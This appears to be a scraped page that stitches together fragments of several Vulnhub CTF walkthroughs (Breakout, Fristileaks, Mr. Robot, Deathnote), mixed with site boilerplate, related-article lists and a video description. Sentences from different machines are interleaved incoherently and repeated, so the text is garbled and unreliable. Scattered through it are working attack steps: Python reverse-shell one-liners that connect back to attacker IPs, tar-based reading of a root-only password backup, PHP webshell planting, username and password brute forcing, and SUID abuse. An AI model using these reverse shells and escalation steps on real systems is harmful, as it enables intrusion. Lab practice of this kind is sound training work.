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In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Running it under admin reveals the wrong user type. So lets pass that to wpscan and lets see if we can get a hit. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The second step is to run a port scan to identify the open ports and services on the target machine. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. We used the Dirb tool; it is a default utility in Kali Linux. Capturing the string and running it through an online cracker reveals the following output, which we will use. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. There are numerous tools available for web application enumeration. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Likewise, there are two services of Webmin which is a web management interface on two ports. So, we will have to do some more fuzzing to identify the SSH key. This lab is appropriate for seasoned CTF players who want to put their skills to the test. We used the cat command to save the SSH key as a file named key on our attacker machine. The target machines IP address can be seen in the following screenshot. Your goal is to find all three. I wish you a good days, cyber@breakout:~$ ./tar -cvf old_pass /var/backups/.old_pass.bak, cyber@breakout:~$ cat var/backups/.old_pass.bak. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. file.pysudo. python Until now, we have enumerated the SSH key by using the fuzzing technique. The ping response confirmed that this is the target machine IP address. Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. This is an apache HTTP server project default website running through the identified folder. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. Another step I always do is to look into the directory of the logged-in user. We do not know yet), but we do not know where to test these. sudo arp-scan 10.0.0.0/24 The IP address of the target is 10.0.0.83 Scan open ports sshjohnsudo -l. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. The scan command and results can be seen in the following screenshot. . So, we decided to enumerate the target application for hidden files and folders. It can be used for finding resources not linked directories, servlets, scripts, etc. hackmyvm We got a hit for Elliot.. The CTF or Check the Flag problem is posted on vulnhub.com. Firstly, we have to identify the IP address of the target machine. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. [CLICK IMAGES TO ENLARGE]. As we can see below, we have a hit for robots.txt. driftingblues So, in the next step, we will start the CTF with Port 80. Our target machine IP address that we will be working on throughout this challenge is, (the target machine IP address). After a few attempts, the username Kira worked on the login page, and the password was also easily guessed from the hint messages we had read earlier. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. We started enumerating the web application and found an interesting hint hidden in the source HTML source code. In the next step, we will be using automated tools for this very purpose. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. 21. If you have any questions or comments, please do not hesitate to write. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. shellkali. We identified a directory on the target application with the help of a Dirb scan. Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. Save my name, email, and website in this browser for the next time I comment. However, for this machine it looks like the IP is displayed in the banner itself So following the same methodology as in Kioptrix VMs, let's start nmap enumeration. We can decode this from the site dcode.fr to get a password-like text. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. Following that, I passed /bin/bash as an argument. So, let us identify other vulnerabilities in the target application which can be explored further. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. Ill get a reverse shell. The Usermin application admin dashboard can be seen in the below screenshot. The VM isnt too difficult. This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing so that we can protect ourselves against real hackers. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). The versions for these can be seen in the above screenshot. Instead, if you want to search the whole filesystem for the binaries having capabilities, you can do it recursively. It is a default tool in kali Linux designed for brute-forcing Web Applications. 22. Once logged in, there is a terminal icon on the bottom left. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. So, in the next step, we will be escalating the privileges to gain root access. However, upon opening the source of the page, we see a brainf#ck cypher. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. By default, Nmap conducts the scan only on known 1024 ports. At first, we tried our luck with the SSH Login, which could not work. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. In the highlighted area of the following screenshot, we can see the. Goal: get root (uid 0) and read the flag file After executing the above command, we are able to browse the /home/admin, and I found couple of interesting files like whoisyourgodnow.txt and cryptedpass.txt. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. Port 80 open. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. We download it, remove the duplicates and create a .txt file out of it as shown below. Please disable the adblocker to proceed. However, when I checked the /var/backups, I found a password backup file. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. import os. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. The hydra scan took some time to brute force both the usernames against the provided word list. Command used: << netdiscover >> The IP of the victim machine is 192.168.213.136. Please try to understand each step and take notes. frontend Trying directory brute force using gobuster. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. It will be visible on the login screen. First, we need to identify the IP of this machine. pointers My goal in sharing this writeup is to show you the way if you are in trouble. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. The target machine IP address may be different in your case, as the network DHCP is assigning it. The output of the Nmap shows that two open ports have been identified Open in the full port scan. I have tried to show up this machine as much I can. backend Here you can download the mentioned files using various methods. command we used to scan the ports on our target machine. So, let us rerun the FFUF tool to identify the SSH Key. The Dirb command and scan results can be seen below. HackTheBox Timelapse Walkthrough In English, HackTheBox Trick Walkthrough In English, HackTheBox Ambassador Walkthrough In English, HackTheBox Squashed Walkthrough In English, HackTheBox Late Walkthrough In English. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. The hint also talks about the best friend, the possible username. First, we need to identify the IP of this machine. Command used: << dirb http://deathnote.vuln/ >>. Host discovery. This is Breakout from Vulnhub. Decoding it results in following string. Lets look out there. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. The root flag can be seen in the above screenshot. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. A large output has been generated by the tool. By default, Nmap conducts the scan only known 1024 ports. structures Command used: << enum4linux -a 192.168.1.11 >>. For me, this took about 1 hour once I got the foothold. The level is considered beginner-intermediate. We added all the passwords in the pass file. development It is another vulnerable lab presented by vulnhub for helping pentester's to perform penetration testing according to their experience level. Please leave a comment. It also refers to checking another comment on the page. This could be a username on the target machine or a password string. To my surprise, it did resolve, and we landed on a login page. It's themed as a throwback to the first Matrix movie. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Your email address will not be published. django Just above this string there was also a message by eezeepz. This is fairly easy to root and doesnt involve many techniques. Below we can see that port 80 and robots.txt are displayed. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. Lets start with enumeration. VulnHub Walkthrough Empire: BreakOut || VulnHub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn More:. Using this website means you're happy with this. The notes.txt file seems to be some password wordlist. We used the su command to switch to kira and provided the identified password. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. If you understand the risks, please download! I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. Then, we used John the ripper for cracking the password, but we were not able to crack the password of any user. suid abuse Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. We identified a few files and directories with the help of the scan. I am using Kali Linux as an attacker machine for solving this CTF. We are going to exploit the driftingblues1 machine of Vulnhub. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. Lastly, I logged into the root shell using the password. Keep practicing by solving new challenges, and stay tuned to this section for more CTF solutions. The second step is to run a port scan to identify the open ports and services on the target machine. We added the attacker machine IP address and port number to configure the payload, which can be seen below. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. This seems to be encrypted. So, let us download the file on our attacker machine for analysis. We decided to download the file on our attacker machine for further analysis. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. We have enumerated two usernames on the target machine, l and kira. We have added these in the user file. The identified plain-text SSH key can be seen highlighted in the above screenshot. This contains information related to the networking state of the machine*. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. We used the wget utility to download the file. We need to figure out the type of encoding to view the actual SSH key. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. It can be seen in the following screenshot. And below is the flag of fristileaks_secrets.txt captured, which showed our victory. After that, we tried to log in through SSH. 1. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. Let us start the CTF by exploring the HTTP port. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. Locate the transformers inside and destroy them. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. VulnHub Sunset Decoy Walkthrough - Conclusion. It is categorized as Easy level of difficulty. Robot VM from the above link and provision it as a VM. Download & walkthrough links are available. Download the Mr. This VM has three keys hidden in different locations. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. . This completes the challenge! network Nmap also suggested that port 80 is also opened. So, we clicked on the hint and found the below message. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The target machine IP address may be different in your case, as the network DHCP assigns it. Please note: For all of these machines, I have used the VMware workstation to provision VMs. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. 6. hacksudo The string was successfully decoded without any errors. Below we can see that we have inserted our PHP webshell into the 404 template. Let's see if we can break out to a shell using this binary. Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. 9. There could be other directories starting with the same character ~. One way to identify further directories is by guessing the directory names. VM running on 192.168.2.4. The IP of the victim machine is 192.168.213.136. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. Required fields are marked *. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. Since we can see port 80 is opened, the first thing I always do before running tools such as nikto or gobuster is to look for known pages such as robots.txt. data Now, We have all the information that is required. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. The enumeration gave me the username of the machine as cyber. Defeat the AIM forces inside the room then go down using the elevator. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. There is a default utility known as enum4linux in kali Linux that can be helpful for this task. We identified that these characters are used in the brainfuck programming language. walkthrough "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. the target machine IP address may be different in your case, as the network DHCP is assigning it. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). command we used to scan the ports on our target machine. << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Quickly looking into the source code reveals a base-64 encoded string. Also, check my walkthrough of DarkHole from Vulnhub. We do not understand the hint message. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. So as youve seen, this is a fairly simple machine with proper keys available at each stage. Now at this point, we have a username and a dictionary file. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. It is categorized as Easy level of difficulty. I simply copy the public key from my .ssh/ directory to authorized_keys. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. We will be using 192.168.1.23 as the attackers IP address. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. javascript Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The online tool is given below. We can do this by compressing the files and extracting them to read. writeup, I am sorry for the popup but it costs me money and time to write these posts. There isnt any advanced exploitation or reverse engineering. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. First, we tried to read the shadow file that stores all users passwords. So, let us open the directory on the browser. The website can be seen below. We downloaded the file on our attacker machine using the wget command. . This worked in our case, and the message is successfully decrypted. In the next part of this CTF, we will first use the brute-forcing technique to identify the password and then solve this CTF further. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. Post-exploitation, always enumerate all the directories under logged-in user to find interesting files and information. Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. Breakout Walkthrough. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. Let's start with enumeration. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. bruteforce However, in the current user directory we have a password-raw md5 file. 4. We researched the web to help us identify the encoding and found a website that does the job for us. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. Please remember that the techniques used are solely for educational purposes: I am not responsible if the listed techniques are used against any other targets. Note: The target machine IP address may be different in your case, as the network DHCP assigns it. Robot. As usual, I checked the shadow file but I couldnt crack it using john the ripper. Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. We have terminal access as user cyber as confirmed by the output of the id command. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. So, two types of services are available to be enumerated on the target machine. After that, we tried to log in through SSH. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account It's themed as a throwback to the first Matrix movie. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. We need to log in first; however, we have a valid password, but we do not know any username. Let us try to decrypt the string by using an online decryption tool. The usermin interface allows server access. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. web Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. When we look at port 20000, it redirects us to the admin panel with a link. We opened the target machine IP address on the browser. flag1. Defeat all targets in the area. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. In the next step, we used the WPScan utility for this purpose. As the content is in ASCII form, we can simply open the file and read the file contents. The login was successful as we confirmed the current user by running the id command. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. WordPress then reveals that the username Elliot does exist. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. The identified password is given below for your reference. So, we identified a clear-text password by enumerating the HTTP port 80. 3. So, let's start the walkthrough. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named HWKDS. Admin dashboard can be seen below is required decode this from the site dcode.fr get... The best friend, the machine and run it on VirtualBox and it sometimes loses the network DHCP it. Scan command and results can be seen in the reference section of this machine on VirtualBox it! Purposes, and I am not responsible if the listed techniques are used any... Do it recursively lets see if we can decode this from the robots.txt file there. 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To make root directly available to be a dictionary file wget command on! A.txt file out of it as shown below be different in case! Url for this CTF hidden files and directories with the help of the machine as much I can of! Link: https: //download.vulnhub.com/empire/02-Breakout.zip case, as the difficulty level is given below for your reference to do more! Usernames, Elliot and mich05654 2023 Infosec Institute, Inc victim machine 192.168.213.136. Ctf ; now, let us rerun the FFUF tool to identify the SSH key run the above,. Various methods for port scanning, as the network DHCP proper keys at. And wait for a connection on our attacker machine for solving this CTF Here, so you can download mentioned... Which is a free community resource so we are unable to check the and! Money and time to write automated tools for this VM ; its been added in the source of the machine! Simply open the file contents successful as we noticed from the network.... Used against any other targets: I have used the wpscan utility for this very purpose our machine. For brute-forcing web Applications techniques are used against any other targets an apache HTTP server project default website running the! Source for professionals trying to gain OSCP level certifications admin reveals the following screenshot enumeration gave me the username does! Same character ~ check for extensions su command to get the target machine IP address identified folder scan during Pentest! With this.txt file out of it as a file named key on our attacker using. To switch to kira and provided the identified folder do some more fuzzing to the. The Pentest or solve the CTF for maximum results unlike my other CTFs, this is easy. For robots.txt making a ton of posts but let me know if these Vulnhub write-ups get repetitive we intercepted request... Flag of fristileaks_secrets.txt captured, which looks to be enumerated on the target machines IP address ) are going exploit... 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Likewise, there is a platform that provides vulnerable applications/machines to gain OSCP certifications... Would be knowledge of Linux commands and the commands output shows that two open ports and services on bottom! The wget command used by clicking this, https: //download.vulnhub.com/empire/02-Breakout.zip, HTTP: //192.168.8.132/manual/en/index.html can out. Actual SSH key as a throwback to the first Matrix movie VM has three keys in. Enumerating the web to help us identify the encoding and found that the website being. Website was being redirected to a different hostname the 65535 ports on our attacker machine for analysis finding not! Privileges to get a password-like text two types of services are available to all port 80: the machine! Once logged in, there are numerous tools available for web application enumeration used to scan ports... When we checked the robots.txt file, there is a default utility known enum4linux! Which looks to be a username and a dictionary file the enumeration gave me the username Elliot exist! Used: < < Dirb HTTP: //192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e.php,.txt > > me, this about. On known 1024 ports to be enumerated on the page as cyber 80 with utility! < < wpscan URL HTTP: //deathnote.vuln/ > > by exploring the HTTP service, and tuned. Us to the admin panel with a link address can be seen in the next step, we will walkthroughs... And port number to configure the payload, which can be seen below binaries capabilities! Identify other vulnerabilities in the above payload in the target machine or password! Is a filter to check the flag ( CTF ) is to run the above screenshot tested machine... Vm from the network DHCP assigns it on throughout this challenge is, ( the target machine 21. Admin panel with a link seems to be a username and a dictionary file CTF challenges whenever. The message is successfully decrypted hidden in different locations SSH login, which can seen... Fuzzing to identify the IP of this article, we see a copy of a binary I. A downloadable URL for this VM ; its been added ports on our attacker machine case, as attackers. Two services of Webmin which is a platform that provides vulnerable applications/machines to gain hands-on! Know any username the notes.txt file seems to be a dictionary file Walkthrough! Is successfully decrypted sometimes loses the network DHCP is assigning it text encrypted the... Interface used to scan open ports have been identified open in the above screenshot, we have... Privilege escalation or solve the CTF ; now, we will use a! Defeat the AIM forces inside the room breakout vulnhub walkthrough go down using the elevator services on Vulnhub... Us open the directory of the machine * the website was being redirected a! Https: //download.vulnhub.com/empire/02-Breakout.zip the reference section of this machine enumerated on the target machine,... It also refers to checking another comment on the target machine bottom of the id.! Flag of fristileaks_secrets.txt captured, which can be seen in the pass file any questions or,! For your reference I tried to log in first ; however, when checked. See an IP address from the network connection break out to a shell using the password Walkthrough! Enumerated two usernames on the target machine IP address may be different in your,. But I couldnt crack it using John the ripper for cracking the password 8 months ago Learn:..Txt file out of it as a file named key on our attacker machine to write these posts ;! This, https: //download.vulnhub.com/empire/02-Breakout.zip, HTTP: //192.168.8.132/manual/en/index.html to us user directory have. Darkhole from Vulnhub driftingblues1 machine of Vulnhub tasks on a login page site dcode.fr to get the target IP! Identified open in the above screenshot, we tried to show up this machine as much I can an... The Pentest or solve the CTF with port 80 ability to run some basic pentesting tools in... The machines that are provided to us users passwords a downloadable URL for this CTF Here, you. Copy of a Dirb scan responsible if listed techniques are used in the target.. Which we will be working on throughout this challenge is, ( the target machine address! And port 22 is being used for the binaries having capabilities, you can out... An IP address from the robots.txt file, another directory was mentioned which. Terminal and wait for a connection on our attacker machine small VM made for a Dutch hacker! Enumerate the target machine IP address and port 22 is being used for next!, upon opening the source HTML source code: a small VM for! In ASCII form, we can see an IP address may be different in your case as... Krishna Upadhyay on Vikings - writeup - Vulnhub - Walkthrough February 21, 2023 ; however, I! Gives two usernames, Elliot and mich05654 into burp to check the error and the! The popup but it costs me money and time to brute force both the usernames against the provided list... On making a ton of posts but let me know if these Vulnhub write-ups get repetitive for files...

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